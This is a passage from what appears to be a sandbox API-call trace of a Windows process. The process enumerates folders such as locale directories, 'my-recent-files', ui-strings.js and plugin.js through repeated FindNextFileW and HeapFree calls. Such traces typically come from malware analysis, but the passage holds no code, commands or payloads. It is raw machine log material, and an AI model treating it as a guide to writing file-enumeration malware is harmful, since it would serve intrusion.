ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0189.360] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0189.360] FindNextFileW (in: hFindFile=0x4531740, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0189.361] FindClose (in: hFindFile=0x4531740 | out: hFindFile=0x4531740) returned 1 [0189.361] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x467ffd8 | out: hHeap=0x710000) returned 1 [0189.361] FindNextFileW (in: hFindFile=0x4531980, lpFindFileData=0x2eae69c | out: lpFindFileData=0x2eae69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="my-recent-files", cAlternateFileName="MY-REC~2")) returned 1 [0189.361] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0189.370] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0189.372] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.372] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0189.373] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.373] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0189.373] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.373] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0189.374] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.374] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0189.374] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.374] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0189.374] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.374] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0189.375] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.375] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0189.375] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.375] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0189.375] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.376] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0189.376] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.376] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0189.376] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.376] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0189.376] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.377] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0189.377] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.377] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0189.377] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.377] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0189.378] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.378] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0189.378] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.378] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0189.378] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.378] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0189.379] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.379] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0189.379] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.379] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0189.379] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.379] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0189.380] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.380] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0189.380] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.380] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0189.380] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.380] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0189.381] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.381] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0189.381] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.381] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0189.381] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.381] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0189.382] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.382] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0189.382] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.382] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0189.593] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.593] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0189.855] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x5400050 | out: hHeap=0x710000) returned 1 [0189.856] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0189.856] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0189.856] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0189.856] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0189.856] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0189.857] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0189.857] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0189.857] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x45546c0 | out: hHeap=0x710000) returned 1 [0189.857] FindNextFileW (in: hFindFile=0x4531e80, lpFindFileData=0x2eadf28 | out: lpFindFileData=0x2eadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0189.857] FindClose (in: hFindFile=0x4531e80 | out: hFindFile=0x4531e80) returned 1 [0189.857] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x53f0048 | out: hHeap=0x710000) returned 1 [0189.861] FindNextFileW (in: hFindFile=0x4531dc0, lpFindFileData=0x2eae1a4 | out: lpFindFileData=0x2eae1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed23cce, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed23cce, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7044, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0189.861] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x468ffe0 | out: hHeap=0x710000) returned 1 [0189.862] FindNextFileW (in: hFindFile=0x4531c40, lpFindFileData=0x2eae420 | out: lpFindFileData=0x2eae420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed23cce, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0189.862] FindClose (in: hFindFile=0x4531c40 | out: 